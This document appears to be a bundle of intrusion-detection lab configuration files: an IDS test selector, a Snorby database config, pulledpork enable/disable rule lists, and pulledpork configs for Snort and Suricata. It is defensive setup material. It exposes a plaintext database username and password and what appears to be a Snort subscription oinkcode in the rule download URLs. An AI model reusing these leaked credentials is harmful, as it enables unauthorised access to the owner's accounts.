[TESTS]
clientSideAttacks       = 0
testRules               = 0
badTraffic              = 0
fragmentedPackets       = 0
bruteForce              = 0
evasionTechniques       = 1
shellCodes              = 0
denialOfService         = 0
pcapReplay              = 0
normalUsage             = 0
ipReputation            = 0

[TESTS_PARAMS]
ipreputationnbtests     = 10



# Snorby Database Configuration
#
# Please set your database password/user below
# NOTE: Indentation is important.
#
snorby: &snorby
  adapter: mysql
  username: snorbyuser
  password: "andreas"
  host: localhost

development:
  database: snorby
  <<: *snorby

test:
  database: snorby
  <<: *snorby

production:
  database: snorby
  <<: *snorby



# example disablesid.conf V3.1

# Example of modifying state for individual rules
# 1:1034,1:9837,1:1270,1:3390,1:710,1:1249,3:13010

# Example of modifying state for rule ranges
# 1:220-1:3264,3:13010-3:13013

# Example of modifying state for MS and cve rules, note the use of the : 
# in cve. This will modify MS09-008, cve 2009-0233, bugtraq 21301,
# and all MS00 and all cve 2000 related sids!  These support regular expression
# matching only after you have specified what you are looking for, i.e. 
# MS00-<regex> or cve:<regex>, the first section CANNOT contain a regular
# expression (MS\d{2}-\d+) will NOT work, use the pcre: keyword (below)
# for this.
# MS09-008,cve:2009-0233,bugtraq:21301,MS00-\d+,cve:2000-\d+

# Example of using the pcre: keyword to modify rulestate.  the pcre keyword 
# allows for full use of regular expression syntax, you do not need to designate
# with / and all pcre searches are treated as case insensitive. For more information 
# about regular expression syntax: http://www.regular-expressions.info/
# The following example modifies state for all MS07 through MS10 
# pcre:MS(0[7-9]|10)-\d+

# Example of modifying state for specific categories entirely (see README.CATEGORIES)
# VRT-web-iis,ET-shellcode,ET-emergingthreats-smtp,Custom-shellcode,Custom-emergingthreats-smtp

# Any of the above values can be on a single line or multiple lines, when 
# on a single line they simply need to be separated by a ,
# 1:9837,1:220-1:3264,3:13010-3:13013,pcre:MS(0[0-7])-\d+,MS09-008,cve:2009-0233

# The modifications in this file are for sample/example purposes only and
# should not actively be used, you need to modify this file to fit your 
# environment.

#Sensitive Data Preprocessor --> 138
138:1-138:30000



# example disablesid.conf V3.1

# Example of modifying state for individual rules
# 1:1034,1:9837,1:1270,1:3390,1:710,1:1249,3:13010

# Example of modifying state for rule ranges
# 1:220-1:3264,3:13010-3:13013

# Example of modifying state for MS and cve rules, note the use of the : 
# in cve. This will modify MS09-008, cve 2009-0233, bugtraq 21301,
# and all MS00 and all cve 2000 related sids!  These support regular expression
# matching only after you have specified what you are looking for, i.e. 
# MS00-<regex> or cve:<regex>, the first section CANNOT contain a regular
# expression (MS\d{2}-\d+) will NOT work, use the pcre: keyword (below)
# for this.
# MS09-008,cve:2009-0233,bugtraq:21301,MS00-\d+,cve:2000-\d+

# Example of using the pcre: keyword to modify rulestate.  the pcre keyword 
# allows for full use of regular expression syntax, you do not need to designate
# with / and all pcre searches are treated as case insensitive. For more information 
# about regular expression syntax: http://www.regular-expressions.info/
# The following example modifies state for all MS07 through MS10 
# pcre:MS(0[7-9]|10)-\d+

# Example of modifying state for specific categories entirely (see README.CATEGORIES)
# VRT-web-iis,ET-shellcode,ET-emergingthreats-smtp,Custom-shellcode,Custom-emergingthreats-smtp

# Any of the above values can be on a single line or multiple lines, when 
# on a single line they simply need to be separated by a ,
# 1:9837,1:220-1:3264,3:13010-3:13013,pcre:MS(0[0-7])-\d+,MS09-008,cve:2009-0233

# The modifications in this file are for sample/example purposes only and
# should not actively be used, you need to modify this file to fit your 
# environment.

#Preprocessors' rules
2:1-2:30000
3:1-3:30000
100:1-100:30000
101:1-101:30000
102:1-102:30000
103:1-103:30000
104:1-104:30000
105:1-105:30000
106:1-106:30000
107:1-107:30000
108:1-108:30000
109:1-109:30000
110:1-110:30000
111:1-111:30000
112:1-112:30000
113:1-113:30000
114:1-114:30000
115:1-115:30000
116:1-116:30000
117:1-117:30000
118:1-118:30000
119:1-119:30000
120:1-120:30000
121:1-121:30000
122:1-122:30000
123:1-123:30000
124:1-124:30000
125:1-125:30000
126:1-126:30000
127:1-127:30000
128:1-128:30000
129:1-129:30000
130:1-130:30000
131:1-131:30000
132:1-132:30000
133:1-133:30000
134:1-134:30000
135:1-135:30000
136:1-136:30000
137:1-137:30000
#Sensitive Data Preprocessor --> 138
138:1-138:30000
139:1-139:30000
140:1-140:30000
141:1-141:30000
142:1-142:30000
143:1-143:30000
144:1-144:30000
145:1-145:30000
146:1-146:30000
147:1-147:30000
148:1-148:30000
149:1-149:30000
150:1-150:30000
151:1-151:30000
152:1-152:30000
153:1-153:30000
154:1-154:30000
155:1-155:30000
156:1-156:30000
157:1-157:30000
158:1-158:30000
159:1-159:30000
160:1-160:30000
161:1-161:30000
162:1-162:30000
163:1-163:30000
164:1-164:30000
165:1-165:30000
166:1-166:30000
167:1-167:30000
168:1-168:30000
169:1-169:30000
170:1-170:30000
171:1-171:30000
172:1-172:30000
173:1-173:30000
174:1-174:30000
175:1-175:100
176:1-176:30000
177:1-177:30000
178:1-178:30000
179:1-179:30000
180:1-180:30000
181:1-181:30000
182:1-182:30000
183:1-183:30000
184:1-184:30000
185:1-185:30000
186:1-186:30000
187:1-187:30000
188:1-188:30000
189:1-189:30000
190:1-190:30000
191:1-191:30000
192:1-192:30000
193:1-193:30000
194:1-194:30000
195:1-195:30000
196:1-196:30000
197:1-197:30000
198:1-198:30000
199:1-199:30000
200:1-200:30000



# example enablesid.conf v3.1

# SPECIAL NOTE, if you use the -R flag, the rule(s) specified in this file 
# will be set back to their ORIGINAL state as it was read when they were 
# originally extracted from the source tarball!

# Example of modifying state for individual rules
# 1:1034,1:9837,1:1270,1:3390,1:710,1:1249,3:13010

# Example of modifying state for rule ranges
# 1:220-1:3264,3:13010-3:13013

# Example of modifying state for MS and cve rules, note the use of the : 
# in cve. This will modify MS09-008, cve 2009-0233, bugtraq 21301,
# and all MS00 and all cve 2000 related sids!  These support regular expression
# matching only after you have specified what you are looking for, i.e. 
# MS00-<regex> or cve:<regex>, the first section CANNOT contain a regular
# expression (MS\d{2}-\d+) will NOT work, use the pcre: keyword (below)
# for this.
# MS09-008,cve:2009-0233,bugtraq:21301,MS00-\d+,cve:2000-\d+

# Example of using the pcre: keyword to modify rulestate.  the pcre keyword 
# allows for full use of regular expression syntax, you do not need to designate
# with / and all pcre searches are treated as case insensitive. For more information 
# about regular expression syntax: http://www.regular-expressions.info/
# The following example modifies state for all MS07 through MS10 
# pcre:MS(0[7-9]|10)-\d+

# Example of modifying state for specific categories entirely (see README.CATEGORIES)
# VRT-web-iis,ET-shellcode,ET-emergingthreats-smtp,Custom-shellcode,Custom-emergingthreats-smtp

# Any of the above values can be on a single line or multiple lines, when 
# on a single line they simply need to be separated by a ,
# 1:9837,1:220-1:3264,3:13010-3:13013,pcre:MS(0[0-7])-\d+,MS09-008,cve:2009-0233

# The modifications in this file are for sample/example purposes only and
# should not actively be used, you need to modify this file to fit your 
# environment.

1:1-1:30000
1:1-1:30000
2:1-2:30000
3:1-3:30000
4:1-4:30000
5:1-5:30000
6:1-6:30000
7:1-7:30000
8:1-8:30000
9:1-9:30000
10:1-10:30000
11:1-11:30000
12:1-12:30000
13:1-13:30000
14:1-14:30000
15:1-15:30000
16:1-16:30000
17:1-17:30000
18:1-18:30000
19:1-19:30000
20:1-20:30000
21:1-21:30000
22:1-22:30000
23:1-23:30000
24:1-24:30000
25:1-25:30000
26:1-26:30000
27:1-27:30000
28:1-28:30000
29:1-29:30000
30:1-30:30000
31:1-31:30000
32:1-32:30000
33:1-33:30000
34:1-34:30000
35:1-35:30000
36:1-36:30000
37:1-37:30000
38:1-38:30000
39:1-39:30000
40:1-40:30000
41:1-41:30000
42:1-42:30000
43:1-43:30000
44:1-44:30000
45:1-45:30000
46:1-46:30000
47:1-47:30000
48:1-48:30000
49:1-49:30000
50:1-50:30000
51:1-51:30000
52:1-52:30000
53:1-53:30000
54:1-54:30000
55:1-55:30000
56:1-56:30000
57:1-57:30000
58:1-58:30000
59:1-59:30000
60:1-60:30000
61:1-61:30000
62:1-62:30000
63:1-63:30000
64:1-64:30000
65:1-65:30000
66:1-66:30000
67:1-67:30000
68:1-68:30000
69:1-69:30000
70:1-70:30000
71:1-71:30000
72:1-72:30000
73:1-73:30000
74:1-74:30000
75:1-75:30000
76:1-76:30000
77:1-77:30000
78:1-78:30000
79:1-79:30000
80:1-80:30000
81:1-81:30000
82:1-82:30000
83:1-83:30000
84:1-84:30000
85:1-85:30000
86:1-86:30000
87:1-87:30000
88:1-88:30000
89:1-89:30000
90:1-90:30000
91:1-91:30000
92:1-92:30000
93:1-93:30000
94:1-94:30000
95:1-95:30000
96:1-96:30000
97:1-97:30000
98:1-98:30000
99:1-99:30000
100:1-100:30000
101:1-101:30000
102:1-102:30000
103:1-103:30000
104:1-104:30000
105:1-105:30000
106:1-106:30000
107:1-107:30000
108:1-108:30000
109:1-109:30000
110:1-110:30000
111:1-111:30000
112:1-112:30000
113:1-113:30000
114:1-114:30000
115:1-115:30000
116:1-116:30000
117:1-117:30000
118:1-118:30000
119:1-119:30000
120:1-120:30000
121:1-121:30000
122:1-122:30000
123:1-123:30000
124:1-124:30000
125:1-125:30000
126:1-126:30000
127:1-127:30000
128:1-128:30000
129:1-129:30000
130:1-130:30000
131:1-131:30000
132:1-132:30000
133:1-133:30000
134:1-134:30000
135:1-135:30000
136:1-136:30000
137:1-137:30000
#Sensitive Data Preprocessor --> 138
#138:1-138:30000
139:1-139:30000
140:1-140:30000
141:1-141:30000
142:1-142:30000
143:1-143:30000
144:1-144:30000
145:1-145:30000
146:1-146:30000
147:1-147:30000
148:1-148:30000
149:1-149:30000
150:1-150:30000
151:1-151:30000
152:1-152:30000
153:1-153:30000
154:1-154:30000
155:1-155:30000
156:1-156:30000
157:1-157:30000
158:1-158:30000
159:1-159:30000
160:1-160:30000
161:1-161:30000
162:1-162:30000
163:1-163:30000
164:1-164:30000
165:1-165:30000
166:1-166:30000
167:1-167:30000
168:1-168:30000
169:1-169:30000
170:1-170:30000
171:1-171:30000
172:1-172:30000
173:1-173:30000
174:1-174:30000
175:1-175:100
176:1-176:30000
177:1-177:30000
178:1-178:30000
179:1-179:30000
180:1-180:30000
181:1-181:30000
182:1-182:30000
183:1-183:30000
184:1-184:30000
185:1-185:30000
186:1-186:30000
187:1-187:30000
188:1-188:30000
189:1-189:30000
190:1-190:30000
191:1-191:30000
192:1-192:30000
193:1-193:30000
194:1-194:30000
195:1-195:30000
196:1-196:30000
197:1-197:30000
198:1-198:30000
199:1-199:30000
200:1-200:30000



# example enablesid.conf v3.1

# SPECIAL NOTE, if you use the -R flag, the rule(s) specified in this file 
# will be set back to their ORIGINAL state as it was read when they were 
# originally extracted from the source tarball!

# Example of modifying state for individual rules
# 1:1034,1:9837,1:1270,1:3390,1:710,1:1249,3:13010

# Example of modifying state for rule ranges
# 1:220-1:3264,3:13010-3:13013

# Example of modifying state for MS and cve rules, note the use of the : 
# in cve. This will modify MS09-008, cve 2009-0233, bugtraq 21301,
# and all MS00 and all cve 2000 related sids!  These support regular expression
# matching only after you have specified what you are looking for, i.e. 
# MS00-<regex> or cve:<regex>, the first section CANNOT contain a regular
# expression (MS\d{2}-\d+) will NOT work, use the pcre: keyword (below)
# for this.
# MS09-008,cve:2009-0233,bugtraq:21301,MS00-\d+,cve:2000-\d+

# Example of using the pcre: keyword to modify rulestate.  the pcre keyword 
# allows for full use of regular expression syntax, you do not need to designate
# with / and all pcre searches are treated as case insensitive. For more information 
# about regular expression syntax: http://www.regular-expressions.info/
# The following example modifies state for all MS07 through MS10 
# pcre:MS(0[7-9]|10)-\d+

# Example of modifying state for specific categories entirely (see README.CATEGORIES)
# VRT-web-iis,ET-shellcode,ET-emergingthreats-smtp,Custom-shellcode,Custom-emergingthreats-smtp

# Any of the above values can be on a single line or multiple lines, when 
# on a single line they simply need to be separated by a ,
# 1:9837,1:220-1:3264,3:13010-3:13013,pcre:MS(0[0-7])-\d+,MS09-008,cve:2009-0233

# The modifications in this file are for sample/example purposes only and
# should not actively be used, you need to modify this file to fit your 
# environment.

1:1-1:30000
#2:1-2:30000
#3:1-3:30000
4:1-4:30000
5:1-5:30000
6:1-6:30000
7:1-7:30000
8:1-8:30000
9:1-9:30000
10:1-10:30000
11:1-11:30000
12:1-12:30000
13:1-13:30000
14:1-14:30000
15:1-15:30000
16:1-16:30000
17:1-17:30000
18:1-18:30000
19:1-19:30000
20:1-20:30000
21:1-21:30000
22:1-22:30000
23:1-23:30000
24:1-24:30000
25:1-25:30000
26:1-26:30000
27:1-27:30000
28:1-28:30000
29:1-29:30000
30:1-30:30000
31:1-31:30000
32:1-32:30000
33:1-33:30000
34:1-34:30000
35:1-35:30000
36:1-36:30000
37:1-37:30000
38:1-38:30000
39:1-39:30000
40:1-40:30000
41:1-41:30000
42:1-42:30000
43:1-43:30000
44:1-44:30000
45:1-45:30000
46:1-46:30000
47:1-47:30000
48:1-48:30000
49:1-49:30000
50:1-50:30000
51:1-51:30000
52:1-52:30000
53:1-53:30000
54:1-54:30000
55:1-55:30000
56:1-56:30000
57:1-57:30000
58:1-58:30000
59:1-59:30000
60:1-60:30000
61:1-61:30000
62:1-62:30000
63:1-63:30000
64:1-64:30000
65:1-65:30000
66:1-66:30000
67:1-67:30000
68:1-68:30000
69:1-69:30000
70:1-70:30000
71:1-71:30000
72:1-72:30000
73:1-73:30000
74:1-74:30000
75:1-75:30000
76:1-76:30000
77:1-77:30000
78:1-78:30000
79:1-79:30000
80:1-80:30000
81:1-81:30000
82:1-82:30000
83:1-83:30000
84:1-84:30000
85:1-85:30000
86:1-86:30000
87:1-87:30000
88:1-88:30000
89:1-89:30000
90:1-90:30000
91:1-91:30000
92:1-92:30000
93:1-93:30000
94:1-94:30000
95:1-95:30000
96:1-96:30000
97:1-97:30000
98:1-98:30000
99:1-99:30000
#Preprocessors' rules
#100:1-100:30000
#101:1-101:30000
#102:1-102:30000
#103:1-103:30000
#104:1-104:30000
#105:1-105:30000
#106:1-106:30000
#107:1-107:30000
#108:1-108:30000
#109:1-109:30000
#110:1-110:30000
#111:1-111:30000
#112:1-112:30000
#113:1-113:30000
#114:1-114:30000
#115:1-115:30000
#116:1-116:30000
#117:1-117:30000
#118:1-118:30000
#119:1-119:30000
#120:1-120:30000
#121:1-121:30000
#122:1-122:30000
#123:1-123:30000
#124:1-124:30000
#125:1-125:30000
#126:1-126:30000
#127:1-127:30000
#128:1-128:30000
#129:1-129:30000
#130:1-130:30000
#131:1-131:30000
#132:1-132:30000
#133:1-133:30000
#134:1-134:30000
#135:1-135:30000
#136:1-136:30000
#137:1-137:30000
#Sensitive Data Preprocessor --> 138
#138:1-138:30000
#139:1-139:30000
#140:1-140:30000
#141:1-141:30000
#142:1-142:30000
#143:1-143:30000
#144:1-144:30000
#145:1-145:30000
#146:1-146:30000
#147:1-147:30000
#148:1-148:30000
#149:1-149:30000
#150:1-150:30000
#151:1-151:30000
#152:1-152:30000
#153:1-153:30000
#154:1-154:30000
#155:1-155:30000
#156:1-156:30000
#157:1-157:30000
#158:1-158:30000
#159:1-159:30000
#160:1-160:30000
#161:1-161:30000
#162:1-162:30000
#163:1-163:30000
#164:1-164:30000
#165:1-165:30000
#166:1-166:30000
#167:1-167:30000
#168:1-168:30000
#169:1-169:30000
#170:1-170:30000
#171:1-171:30000
#172:1-172:30000
#173:1-173:30000
#174:1-174:30000
#175:1-175:100
#176:1-176:30000
#177:1-177:30000
#178:1-178:30000
#179:1-179:30000
#180:1-180:30000
#181:1-181:30000
#182:1-182:30000
#183:1-183:30000
#184:1-184:30000
#185:1-185:30000
#186:1-186:30000
#187:1-187:30000
#188:1-188:30000
#189:1-189:30000
#190:1-190:30000
#191:1-191:30000
#192:1-192:30000
#193:1-193:30000
#194:1-194:30000
#195:1-195:30000
#196:1-196:30000
#197:1-197:30000
#198:1-198:30000
#199:1-199:30000
#200:1-200:30000



# Config file for pulledpork
# Be sure to read through the entire configuration file
# If you specify any of these items on the command line, it WILL take 
# precedence over any value that you specify in this file!

#######
#######  The below section defines what your oinkcode is (required for 
#######  VRT rules), defines a temp path (must be writable) and also 
#######  defines what version of rules that you are getting (for your 
#######  snort version and subscription etc...)
####### 

# The rule_url value replaces the old base_url and rule_file configuration
# options.  You can now specify one or as many rule_urls as you like, they 
# must appear as http://what.site.com/|rulesfile.tar.gz|1234567.  You can specify
# each on an individual line, or you can specify them in a , separated list
# i.e. rule_url=http://x.y.z/|a.tar.gz|123,http://z.y.z/|b.tar.gz|456
# note that the url, rule file, and oinkcode itself are separated by a pipe |
# i.e. url|tarball|123456789, 
rule_url=https://www.snort.org/reg-rules/|snortrules-snapshot.tar.gz|a6411bd5b72f9ea9d8f40aad2614331ded85a8c9
# get the rule docs!
rule_url=https://www.snort.org/reg-rules/|opensource.gz|a6411bd5b72f9ea9d8f40aad2614331ded85a8c9
###########rule_url=https://rules.emergingthreats.net/|emerging.rules.tar.gz|open
rule_url=http://rules.emergingthreats.net/|emerging.rules.tar.gz|open-nogpl
# THE FOLLOWING URL is for etpro downloads, note the tarball name change!
# and the et oinkcode requirement!
###########rule_url=https://rules.emergingthreats.net/|etpro.rules.tar.gz|<et oinkcode>
# NOTE above that the VRT snortrules-snapshot does not contain the version
# portion of the tarball name, this is because PP now automatically populates
# this value for you, if, however you put the version information in, PP will
# NOT populate this value but will use your value!

# Specify rule categories to ignore from the tarball in a comma separated list
# with no spaces.  There are four ways to do this:
# 1) Specify the category name with no suffix at all to ignore the category
#    regardless of what rule-type it is, ie: netbios
# 2) Specify the category name with a '.rules' suffix to ignore only gid 1
#    rulefiles located in the /rules directory of the tarball, ie: policy.rules
# 3) Specify the category name with a '.preproc' suffix to ignore only
#    preprocessor rules located in the /preproc_rules directory of the tarball,
#    ie: sensitive-data.preproc
# 4) Specify the category name with a '.so' suffix to ignore only shared-object
#    rules located in the /so_rules directory of the tarball, ie: netbios.so
# The example below ignores dos rules wherever they may appear, sensitive-
# data preprocessor rules, p2p so-rules (while including gid 1 p2p rules),
# and netbios gid-1 rules (while including netbios so-rules):
# ignore = dos,sensitive-data.preproc,p2p.so,netbios.rules
# These defaults are reasonable for the VRT ruleset with Snort 2.9.0.x.
ignore=deleted.rules,experimental.rules,local.rules
# IMPORTANT, if you are NOT yet using 2.8.6 then you MUST comment out the
# previous ignore line and uncomment the following!
# ignore=deleted,experimental,local,decoder,preprocessor,sensitive-data

# Define your Oinkcode - DEPRICATED, SEE RULE_URL
# oinkcode=replacethiswithyouroinkcode

# What is our temp path, be sure this path has a bit of space for rule 
# extraction and manipulation, no trailing slash
temp_path=/tmp

#######
#######  The below section is for rule processing.  This section is 
#######  required if you are not specifying the configuration using
#######  runtime switches.  Note that runtime switches do SUPERSEED 
#######  any values that you have specified here!
#######

# What path you want the .rules file containing all of the processed 
# rules? (this value has changed as of 0.4.0, previously we copied 
# all of the rules, now we are creating a single large rules file
# but still keeping a separate file for your so_rules!
rule_path=/usr/local/snort/rules/snort.rules

# What path you want the .rules files to be written to, this is UNIQUE
# from the rule_path and cannot be used in conjunction, this is to be used with the
# -k runtime flag, this can be set at runtime using the -K flag or specified
# here.  If specified here, the -k option must also be passed at runtime, however
# specifying -K <path> at runtime forces the -k option to also be set
out_path=/usr/local/snort/rules/

# If you are running any rules in your local.rules file, we need to
# know about them to properly build a sid-msg.map that will contain your
# local.rules metadata (msg) information.  You can specify other rules
# files that are local to your system here by adding a comma and more paths...
# remember that the FULL path must be specified for EACH value.
# local_rules=/path/to/these.rules,/path/to/those.rules
local_rules=/usr/local/snort/rules/local.rules

# Where should I put the sid-msg.map file?
sid_msg=/usr/local/snort/etc/sid-msg.map

# Where do you want me to put the sid changelog?  This is a changelog 
# that pulledpork maintains of all new sids that are imported
sid_changelog=/var/log/sid_changes.log
# this value is optional

#######
#######  The below section is for so_rule processing only.  If you don't
#######  need to use them.. then comment this section out!
#######  Alternately, if you are not using pulledpork to process 
#######  so_rules, you can specify -T at runtime to bypass this altogether
#######

# What path you want the .so files to actually go to *i.e. where is it
# defined in your snort.conf, needs a trailing slash
sorule_path=/usr/local/snort/lib/snort_dynamicrules/

# Path to the snort binary, we need this to generate the stub files
snort_path=/usr/local/snort/bin/snort

# We need to know where your snort.conf file lives so that we can
# generate the stub files
config_path=/usr/local/snort/etc/snort.conf

# This is the file that contains all of the shared object rules that pulledpork
# has processed, note that this has changed as of 0.4.0 just like the rules_path!
sostub_path=/usr/local/snort/so_rules/so_rules.rules

# Define your distro, this is for the precompiled shared object libs!
# Valid Distro Types=Debian-Lenny, Ubuntu-6.01.1, Ubuntu-8.04
# CentOS-4.6, Centos-4-8, CentOS-5.0, Centos-5-4
# FC-5, FC-9, FC-11, FC-12, RHEL-5.0
# FreeBSD-6.3, FreeBSD-7-2, FreeBSD-7-3, FreeBSD-7.0, FreeBSD-8-0, FreeBSD-8-1
# OpenSUSE-11-3
distro=Ubuntu-12.04

#######  This next section is optional, but probably pretty useful to you.
#######  Please read thoroughly!

# What do you want to backup and archive?  This is a comma separated list
# of file or directory values.  If a directory is specified, PP will recurse
# through said directory and all subdirectories to archive all files.
# The following example backs up all snort config files, rules, pulledpork
# config files, and snort shared object binary rules.
# backup=/usr/local/etc/snort,/usr/local/etc/pulledpork,/usr/local/lib/snort_dynamicrules/

# what path and filename should we use for the backup tarball?
# note that an epoch time value and the .tgz extension is automatically added
# to the backup_file name on completeion i.e. the written file is:
# pp_backup.1295886020.tgz
# backup_file=/tmp/pp_backup

# Where do you want the signature docs to be copied, if this is commented 
# out then they will not be copied / extracted.  Note that extracting them 
# will add considerable runtime to pulledpork.
# docs=/path/to/base/www

# The following option, state_order, allows you to more finely control the order
# that pulledpork performs the modify operations, specifically the enablesid
# disablesid and dropsid functions.  An example use case here would be to
# disable an entire category and later enable only a rule or two out of it.
# the valid values are disable, drop, and enable.
# state_order=disable,drop,enable


# Define the path to the pid files of any running process that you want to
# HUP after PP has completed its run.
# pid_path=/var/run/snort.pid,/var/run/barnyard.pid,/var/run/barnyard2.pid
# and so on...
# pid_path=/var/run/snort_eth0.pid

# This defines the version of snort that you are using, for use ONLY if the 
# proper snort binary is not on the system that you are fetching the rules with
# Defining this value will set the Textonly flag, and thus will NOT allow
# you to use shared object rules.  This value MUST contain all 4 minor version
# numbers. ET rules are now also dependant on this, verify supported ET versions
# prior to simply throwing rubbish in this variable kthx!
# snort_version=2.9.0.0

# Here you can specify what rule modification files to run automatically.
# simply uncomment and specify the apt path.
enablesid=/usr/local/pulledpork/etc/enablesid.conf
# dropsid=enablesid=/usr/local/snort/etc/dropsid.conf
disablesid=/usr/local/pulledpork/etc/disablesid.conf
# modifysid=enablesid=/usr/local/snort/etc/modifysid.conf

# What is the base ruleset that you want to use, please uncomment to use
# and see the README.RULESETS for a description of the options.  
# Note that setting this value will disable all ET rulesets if you are 
# Running such rulesets
# ips_policy=security

####### Remember, a number of these values are optional.. if you don't 
####### need to process so_rules, simply comment out the so_rule section
####### you can also specify -T at runtime to process only GID 1 rules.

version=0.6.0



# Config file for pulledpork
# Be sure to read through the entire configuration file
# If you specify any of these items on the command line, it WILL take 
# precedence over any value that you specify in this file!

#######
#######  The below section defines what your oinkcode is (required for 
#######  VRT rules), defines a temp path (must be writable) and also 
#######  defines what version of rules that you are getting (for your 
#######  snort version and subscription etc...)
####### 

# The rule_url value replaces the old base_url and rule_file configuration
# options.  You can now specify one or as many rule_urls as you like, they 
# must appear as http://what.site.com/|rulesfile.tar.gz|1234567.  You can specify
# each on an individual line, or you can specify them in a , separated list
# i.e. rule_url=http://x.y.z/|a.tar.gz|123,http://z.y.z/|b.tar.gz|456
# note that the url, rule file, and oinkcode itself are separated by a pipe |
# i.e. url|tarball|123456789, 
rule_url=https://www.snort.org/reg-rules/|snortrules-snapshot-2940.tar.gz|a6411bd5b72f9ea9d8f40aad2614331ded85a8c9
# get the rule docs!
rule_url=https://www.snort.org/reg-rules/|opensource.gz|a6411bd5b72f9ea9d8f40aad2614331ded85a8c9
rule_url=http://rules.emergingthreats.net/|emerging.rules.tar.gz|open-nogpl
# THE FOLLOWING URL is for etpro downloads, note the tarball name change!
# and the et oinkcode requirement!
#rule_url=https://rules.emergingthreats.net/|etpro.rules.tar.gz|<et oinkcode>
# NOTE above that the VRT snortrules-snapshot does not contain the version
# portion of the tarball name, this is because PP now automatically populates
# this value for you, if, however you put the version information in, PP will
# NOT populate this value but will use your value!

# Specify rule categories to ignore from the tarball in a comma separated list
# with no spaces.  There are four ways to do this:
# 1) Specify the category name with no suffix at all to ignore the category
#    regardless of what rule-type it is, ie: netbios
# 2) Specify the category name with a '.rules' suffix to ignore only gid 1
#    rulefiles located in the /rules directory of the tarball, ie: policy.rules
# 3) Specify the category name with a '.preproc' suffix to ignore only
#    preprocessor rules located in the /preproc_rules directory of the tarball,
#    ie: sensitive-data.preproc
# 4) Specify the category name with a '.so' suffix to ignore only shared-object
#    rules located in the /so_rules directory of the tarball, ie: netbios.so
# The example below ignores dos rules wherever they may appear, sensitive-
# data preprocessor rules, p2p so-rules (while including gid 1 p2p rules),
# and netbios gid-1 rules (while including netbios so-rules):
# ignore = dos,sensitive-data.preproc,p2p.so,netbios.rules
# These defaults are reasonable for the VRT ruleset with Snort 2.9.0.x.
ignore=deleted.rules,experimental.rules,decoder.rules,preprocessor.rules,sensitive-data.rules,bad-traffic.rules,chat.rules,dos.rules,exploit.rules,icmp.rules,imap.rules,misc.rules,multimedia.rules,netbios.rules,nntp.rules,p2p.rules,smtp.rules,snmp.rules,specific-threats.rules,web-activex.rules,web-client.rules,web-iis.rules,web-misc.rules,local.rules
# IMPORTANT, if you are NOT yet using 2.8.6 then you MUST comment out the
# previous ignore line and uncomment the following!
# ignore=deleted,experimental,local,decoder,preprocessor,sensitive-data

# Define your Oinkcode - DEPRICATED, SEE RULE_URL
# oinkcode=replacethiswithyouroinkcode

# What is our temp path, be sure this path has a bit of space for rule 
# extraction and manipulation, no trailing slash
temp_path=/tmp

#######
#######  The below section is for rule processing.  This section is 
#######  required if you are not specifying the configuration using
#######  runtime switches.  Note that runtime switches do SUPERSEED 
#######  any values that you have specified here!
#######

# What path you want the .rules file containing all of the processed 
# rules? (this value has changed as of 0.4.0, previously we copied 
# all of the rules, now we are creating a single large rules file
# but still keeping a separate file for your so_rules!
rule_path=/usr/local/etc/suricata/rules/suricata.rules

# What path you want the .rules files to be written to, this is UNIQUE
# from the rule_path and cannot be used in conjunction, this is to be used with the
# -k runtime flag, this can be set at runtime using the -K flag or specified
# here.  If specified here, the -k option must also be passed at runtime, however
# specifying -K <path> at runtime forces the -k option to also be set
out_path=/usr/local/etc/suricata/rules/

# If you are running any rules in your local.rules file, we need to
# know about them to properly build a sid-msg.map that will contain your
# local.rules metadata (msg) information.  You can specify other rules
# files that are local to your system here by adding a comma and more paths...
# remember that the FULL path must be specified for EACH value.
# local_rules=/path/to/these.rules,/path/to/those.rules
local_rules=/usr/local/etc/suricata/rules/local.rules

# Where should I put the sid-msg.map file?
sid_msg=/usr/local/etc/suricata/rules/sid-msg.map

# Where do you want me to put the sid changelog?  This is a changelog 
# that pulledpork maintains of all new sids that are imported
sid_changelog=/var/log/sid_changes.log
# this value is optional

#######
#######  The below section is for so_rule processing only.  If you don't
#######  need to use them.. then comment this section out!
#######  Alternately, if you are not using pulledpork to process 
#######  so_rules, you can specify -T at runtime to bypass this altogether
#######

# What path you want the .so files to actually go to *i.e. where is it
# defined in your snort.conf, needs a trailing slash
#sorule_path=/usr/local/lib/snort_dynamicrules/

# Path to the snort binary, we need this to generate the stub files
#snort_path=/usr/local/bin/snort

# We need to know where your snort.conf file lives so that we can
# generate the stub files
#config_path=/usr/local/etc/snort/snort.conf

# This is the file that contains all of the shared object rules that pulledpork
# has processed, note that this has changed as of 0.4.0 just like the rules_path!
#sostub_path=/usr/local/etc/snort/rules/so_rules.rules

# Define your distro, this is for the precompiled shared object libs!
# Valid Distro Types=Debian-Lenny, Ubuntu-6.01.1, Ubuntu-8.04
# CentOS-4.6, Centos-4-8, CentOS-5.0, Centos-5-4
# FC-5, FC-9, FC-11, FC-12, RHEL-5.0
# FreeBSD-6.3, FreeBSD-7-2, FreeBSD-7-3, FreeBSD-7.0, FreeBSD-8-0, FreeBSD-8-1
# OpenSUSE-11-3
#distro=FreeBSD-8.0

#######  This next section is optional, but probably pretty useful to you.
#######  Please read thoroughly!

# What do you want to backup and archive?  This is a comma separated list
# of file or directory values.  If a directory is specified, PP will recurse
# through said directory and all subdirectories to archive all files.
# The following example backs up all snort config files, rules, pulledpork
# config files, and snort shared object binary rules.
# backup=/usr/local/etc/snort,/usr/local/etc/pulledpork,/usr/local/lib/snort_dynamicrules/

# what path and filename should we use for the backup tarball?
# note that an epoch time value and the .tgz extension is automatically added
# to the backup_file name on completeion i.e. the written file is:
# pp_backup.1295886020.tgz
# backup_file=/tmp/pp_backup

# Where do you want the signature docs to be copied, if this is commented 
# out then they will not be copied / extracted.  Note that extracting them 
# will add considerable runtime to pulledpork.
# docs=/path/to/base/www

# The following option, state_order, allows you to more finely control the order
# that pulledpork performs the modify operations, specifically the enablesid
# disablesid and dropsid functions.  An example use case here would be to
# disable an entire category and later enable only a rule or two out of it.
# the valid values are disable, drop, and enable.
# state_order=disable,drop,enable


# Define the path to the pid files of any running process that you want to
# HUP after PP has completed its run.
# pid_path=/var/run/snort.pid,/var/run/barnyard.pid,/var/run/barnyard2.pid
# and so on...
# pid_path=/var/run/snort_eth0.pid

# This defines the version of snort that you are using, for use ONLY if the 
# proper snort binary is not on the system that you are fetching the rules with
# Defining this value will set the Textonly flag, and thus will NOT allow
# you to use shared object rules.  This value MUST contain all 4 minor version
# numbers. ET rules are now also dependant on this, verify supported ET versions
# prior to simply throwing rubbish in this variable kthx!
# snort_version=2.9.0.0

# Here you can specify what rule modification files to run automatically.
